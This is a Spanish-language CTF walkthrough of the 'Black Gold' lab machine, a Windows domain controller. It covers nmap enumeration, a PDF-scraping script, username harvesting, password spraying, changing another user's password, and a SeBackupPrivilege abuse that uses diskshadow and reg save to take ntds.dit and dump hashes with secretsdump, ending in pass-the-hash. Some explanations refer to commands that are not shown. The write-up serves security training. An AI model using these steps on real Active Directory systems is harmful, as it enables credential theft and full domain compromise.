¡Hola hacker! Bienvenido a una nueva resolución. En esta ocasión, estaremos resolviendo una nueva máquina, la cual creé para nuestra comunidad de The Hackers Labs, la máquina Black Gold.
Reconocimiento
Realizamos un escaneo con arp-scan para descubrir la ip de la máquina víctima.
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 192.168.56.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-27 12:50 -03
Initiating ARP Ping Scan at 12:50
Scanning 192.168.56.10 [1 port]
Completed ARP Ping Scan at 12:50, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:50
Scanning 192.168.56.10 [65535 ports]
Discovered open port 80/tcp on 192.168.56.10
Discovered open port 139/tcp on 192.168.56.10
Discovered open port 445/tcp on 192.168.56.10
Discovered open port 53/tcp on 192.168.56.10
Discovered open port 135/tcp on 192.168.56.10
Discovered open port 88/tcp on 192.168.56.10
Discovered open port 5985/tcp on 192.168.56.10
Discovered open port 3268/tcp on 192.168.56.10
Discovered open port 593/tcp on 192.168.56.10
Discovered open port 3269/tcp on 192.168.56.10
Discovered open port 54280/tcp on 192.168.56.10
Discovered open port 636/tcp on 192.168.56.10
Discovered open port 54261/tcp on 192.168.56.10
Discovered open port 464/tcp on 192.168.56.10
Discovered open port 49664/tcp on 192.168.56.10
Discovered open port 9389/tcp on 192.168.56.10
Discovered open port 54262/tcp on 192.168.56.10
Discovered open port 54272/tcp on 192.168.56.10
Discovered open port 389/tcp on 192.168.56.10
Discovered open port 49668/tcp on 192.168.56.10
Completed SYN Stealth Scan at 12:51, 26.34s elapsed (65535 total ports)
Nmap scan report for 192.168.56.10
Host is up, received arp-response (0.0034s latency).
Scanned at 2025-02-27 12:50:40 -03 for 26s
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 128
80/tcp open http syn-ack ttl 128
88/tcp open kerberos-sec syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
389/tcp open ldap syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
464/tcp open kpasswd5 syn-ack ttl 128
593/tcp open http-rpc-epmap syn-ack ttl 128
636/tcp open ldapssl syn-ack ttl 128
3268/tcp open globalcatLDAP syn-ack ttl 128
3269/tcp open globalcatLDAPssl syn-ack ttl 128
5985/tcp open wsman syn-ack ttl 128
9389/tcp open adws syn-ack ttl 128
49664/tcp open unknown syn-ack ttl 128
49668/tcp open unknown syn-ack ttl 128
54261/tcp open unknown syn-ack ttl 128
54262/tcp open unknown syn-ack ttl 128
54272/tcp open unknown syn-ack ttl 128
54280/tcp open unknown syn-ack ttl 128
MAC Address: 08:00:27:0C:D5:C5 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds
Raw packets sent: 131065 (5.767MB) | Rcvd: 35 (1.524KB)
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,54261,54262,54272,54280 -oN servicesScan 192.168.56.10 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-27 12:52 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:52
Completed NSE at 12:52, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:52
Completed NSE at 12:52, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:52
Completed NSE at 12:52, 0.00s elapsed
Initiating ARP Ping Scan at 12:52
Scanning 192.168.56.10 [1 port]
Completed ARP Ping Scan at 12:52, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:52
Completed Parallel DNS resolution of 1 host. at 12:52, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:52
Scanning 192.168.56.10 (192.168.56.10) [20 ports]
Discovered open port 135/tcp on 192.168.56.10
Discovered open port 445/tcp on 192.168.56.10
Discovered open port 139/tcp on 192.168.56.10
Discovered open port 80/tcp on 192.168.56.10
Discovered open port 53/tcp on 192.168.56.10
Discovered open port 9389/tcp on 192.168.56.10
Discovered open port 54280/tcp on 192.168.56.10
Discovered open port 49668/tcp on 192.168.56.10
Discovered open port 54261/tcp on 192.168.56.10
Discovered open port 88/tcp on 192.168.56.10
Discovered open port 54272/tcp on 192.168.56.10
Discovered open port 593/tcp on 192.168.56.10
Discovered open port 389/tcp on 192.168.56.10
Discovered open port 464/tcp on 192.168.56.10
Discovered open port 5985/tcp on 192.168.56.10
Discovered open port 3268/tcp on 192.168.56.10
Discovered open port 54262/tcp on 192.168.56.10
Discovered open port 49664/tcp on 192.168.56.10
Discovered open port 636/tcp on 192.168.56.10
Discovered open port 3269/tcp on 192.168.56.10
Completed SYN Stealth Scan at 12:52, 0.06s elapsed (20 total ports)
Initiating Service scan at 12:52
Scanning 20 services on 192.168.56.10 (192.168.56.10)
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+) '
Completed Service scan at 12:52, 53.82s elapsed (20 services on 1 host)
NSE: Script scanning 192.168.56.10.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:52
NSE Timing: About 99.96% done; ETC: 12:53 (0:00:00 remaining)
Completed NSE at 12:53, 40.09s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:53
Completed NSE at 12:53, 0.30s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:53
Completed NSE at 12:53, 0.00s elapsed
Nmap scan report for 192.168.56.10 (192.168.56.10)
Host is up, received arp-response (0.0047s latency).
Scanned at 2025-02-27 12:52:03 -03 for 94s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 128 Simple DNS Plus
80/tcp open http syn-ack ttl 128 Microsoft IIS httpd 10.0
|_http-title: Neptune
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: 40687F51E948B80EE92FA92DDBCA8283
88/tcp open kerberos-sec syn-ack ttl 128 Microsoft Windows Kerberos (server time: 2025-02-27 15:52:58Z)
135/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: neptune.thl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 128
464/tcp open kpasswd5? syn-ack ttl 128
593/tcp open ncacn_http syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 128
3268/tcp open ldap syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: neptune.thl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 128
5985/tcp open http syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 128 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
54261/tcp open ncacn_http syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
54262/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
54272/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
54280/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 08:00:27:0C:D5:C5 (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 62115/tcp): CLEAN (Timeout)
| Check 2 (port 24314/tcp): CLEAN (Timeout)
| Check 3 (port 39390/udp): CLEAN (Timeout)
| Check 4 (port 46694/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 56s
| smb2-time:
| date: 2025-02-27T15:53:54
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:0c:d5:c5 (Oracle VirtualBox virtual NIC)
| Names:
| DC01<20> Flags: <unique><active>
| DC01<00> Flags: <unique><active>
| NEPTUNE<00> Flags: <group><active>
| NEPTUNE<1c> Flags: <group><active>
| NEPTUNE<1b> Flags: <unique><active>
| Statistics:
| 08:00:27:0c:d5:c5:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:53
Completed NSE at 12:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:53
Completed NSE at 12:53, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:53
Completed NSE at 12:53, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.61 seconds
Raw packets sent: 21 (908B) | Rcvd: 21 (908B)
Explotación inicial
Agregamos el domino a nuestro archivo hosts.
echo "192.168.56.10 neptune.thl" >> /etc/hosts
HTTP (80)
Ingresamos al stio web que esta corriendo bajo el puerto 80.
Si miramos en la web, nos encontramos que podemos descargar 2 archivos pdf.
Descargamos ambos archivos.
Vemos que el contenido no muestra nada relevante ni que pueda servirnos para la explotación, pero podemos enumerar los metadatos.
Encontramos dos posibles nombres de usuario.
james.clear
david.brown
AS-REP Roast
Podemos comprobar en base a una lista de usuarios cuales de ellos no tienen activo el atributo de Kerberos Pre-Auth. En caso de que el usuario sea valido, obtendremos el TGT (Ticket Granting Ticket) de Kerberos el cual podemos crackear offline.
Vemos que ninguno de los dos usuarios tiene activo el atributo.
Nos toca seguir enumerando.
Si prestamos atención, los nombre de los archivos pdf tienen el formato YYYY-MM-DD.pdf por lo que podemos intentar buscar nuevos archivos con este formato.
Creamos un script en Python para descargar los archivos pdf.
import os
import urllib.request
import requests
from pwn import *
def download_files():
p1 = log.progress("Buscando archivos PDF")
time.sleep(2)
if not os.path.exists('docs'):
os.mkdir('docs')
for year in range(2023, 2025):
for month in range(1, 13):
for day in range(1, 32):
mm = f"0{month}" if month < 10 else month
dd = f"0{day}" if day < 10 else day
date = f"{year}-{mm}-{dd}"
filename = f"{date}.pdf"
p1.status(filename)
url = f"http://192.168.56.10/docs/{filename}"
res = requests.get(url)
if res.status_code == 200:
urllib.request.urlretrieve(url, f"docs/{filename}")
if __name__ == '__main__':
download_files()
Logramos descargar un total de 190 archivos pdf.
Lo que haremos a continuación será extraer el creador y autor de cada archivo y guardarlos en un archivo, excluyendo el nombre de la empresa.
En este punto, lo que haremos será comprobar si alguno de estos usuarios es valido en el controlador de dominio, para lo cual usaremos la herramienta kerbrute.
Vemos que el único usuario valido es lucas.miller.
Lo siguiente, es leer el contenido de los archivos pdfs y generar una posible lista de contraseñas para aplicar un Password Spraying.
import os
import PyPDF2
def read_file_content(path):
reader = PyPDF2.PdfReader(path)
text = ''
for pagina in reader.pages:
text += pagina.extract_text()
words = '\n'.join(list(set(text.split())))
return words
def write_file(filename, content):
with open(filename, 'a', encoding='utf-8') as f:
f.write(content)
if __name__ == '__main__':
for entry in os.scandir('docs'):
if entry.is_file():
content = read_file_content(f"docs/{entry.name}")
write_file('passwords.txt', content)
Para evitar repeticiones de palabras, realizamos un ordenamiento y eliminamos duplicados con sort.
El código anterior convierte una cadena de texto (en este caso, una contraseña) a un objeto de tipo SecureString que es más seguro para ser utilizado en scripts, ya que evita exponer la contraseña como texto plano en memoria. El uso de -AsPlainText y -Force permite especificar que la contraseña se proporciona en texto plano y que se debe forzar la conversión.
La línea de código que anterior crea un objeto de tipo PSCredential en PowerShell, que es una manera segura de manejar credenciales (como nombres de usuario y contraseñas) en un script. El nombre de usuario se proporciona como una cadena ('neptune.thl\emma.johnson'), y la contraseña se pasa como un objeto SecureString que fue previamente creado.
Convierte la contraseña 'Password123!' en un objeto SecureString, que es una representación más segura de la contraseña en PowerShell. La contraseña original está en texto plano, pero con la ayuda de ConvertTo-SecureString, se convierte en un formato seguro (cifrado en memoria), lo que mejora la protección de la información sensible.
Este comando cambia la contraseña de un usuario (thomas.brown) en un dominio de Active Directory. La nueva contraseña se pasa como un objeto SecureString a través del parámetro -AccountPassword, y el cmdlet se ejecuta utilizando un conjunto de credenciales (almacenadas en la variable $Cred) especificadas con el parámetro -Credential.
De esta forma, logramos cambiar la contraseña del usuario thomas.brown.
Nos conectamos a la DC.
Elevación de privilegios
El usuario thomas.bronw pertenece al grupo Backup Operators, por lo que podemos abusar de este para escalar nuestros privilegios.
Explotación del privilegio SeBackupPrivilege
A diferencia de la explotación independiente, en el Controlador de Dominio, necesitamos el archivo ntds.dit para extraer los hashes junto con system. El problema con el archivo ntds.dit es que mientras la máquina de destino se está ejecutando el archivo siempre permanece en el uso y como somos bastante conscientes del hecho de que cuando un archivo es un underuse entonces no es posible copiar el archivo utilizando cualquier método convencional. Para evitar este problema, tenemos que utilizar la funcionalidad diskshadow. Se trata de una función integrada de Windows que puede ayudarnos a crear una copia de una unidad que esté actualmente en uso. Existen métodos para utilizar diskshadow que incluyen proporcionar instrucciones en una shell de diskshadow, pero eso suele ser un poco complicado. Por lo tanto, vamos a crear un Archivo Shell Distribuido o un archivo dsh que consistirá en todos los comandos que son requeridos por el diskshadow para ejecutar y crear una copia completa de nuestra unidad de Windows que luego podemos utilizar para extraer el archivo ntds.dit. Nos movemos a nuestro máquina atacante y creamos un archivo dsh utilizando el editor de su preferencia. En este archivo, le estamos indicando a diskshadow que cree una copia de la Unidad C: en una Unidad Z con cmd como alias. El alias de la unidad y el carácter pueden ser lo que quieras. Después de crear este archivo dsh, necesitamos usar unix2dos para convertir la codificación y el espaciado del archivo dsh a uno que sea compatible con la máquina Windows.
> vim cmd
set context persistent nowriters
add volume c: alias cmd
create
expose %cmd% z:
> unix2dos cmd.dsh
De vuelta a la Sesión WinRM, nos movemos al Directorio Temp y subimos el archivo cmd.dsh a la máquina destino. Luego, usamos el script diskshadow con dsh como se muestra en la imagen de abajo. Si se observa, se puede notar que diskshadow está efectivamente ejecutando los mismos comandos que ingresamos en el archivo dsh secuencialmente. Después de ejecutarse, como se ha comentado, creará una copia de la unidad C en la unidad Z. Ahora, podemos utilizar la herramienta RoboCopy para copiar el archivo de la unidad Z al directorio temporal.
Ahora tenemos el archivo ntds.dit y necesitamos extraer la colmena del sistema. Esto se puede hacer con un simple comando reg save como se muestra en el código de abajo. Con ambos archivos ntds.dit y system hive en el directorio Temp, ahora usamos el comando download para transferir ambos archivos a nuestro Kali Linux.
reg save hklm\system C:\temp\system
Descargamos ambos archivos a nuestra máquina atancate.
En nuestro máquina, podemos utilizar el script secretsdump que forma parte de Impacket Framework para extraer nuestros hashes del archivo ntds.dit y del hive del sistema. Se puede observar en la imágen de abajo que los hashes de la cuenta de administrador se han extraído correctamente.
impacket-secretsdump -ntds ntds.dit -system system local
Realizamos un Pass The Hash (PTH) y nos conectamos como el usuario Administrator.
Post Explotación
Leemos el flag de root.txt
De esta forma, llegamos al final de la máquina Black Gold.
Como siempre, si te gustó este CTF, ¡cuentaselos a otros!.
Si aun no eres parte de nuestra comunidad, te dejo los enlaces a la web The Hackers Labs y a el servidor de Discord.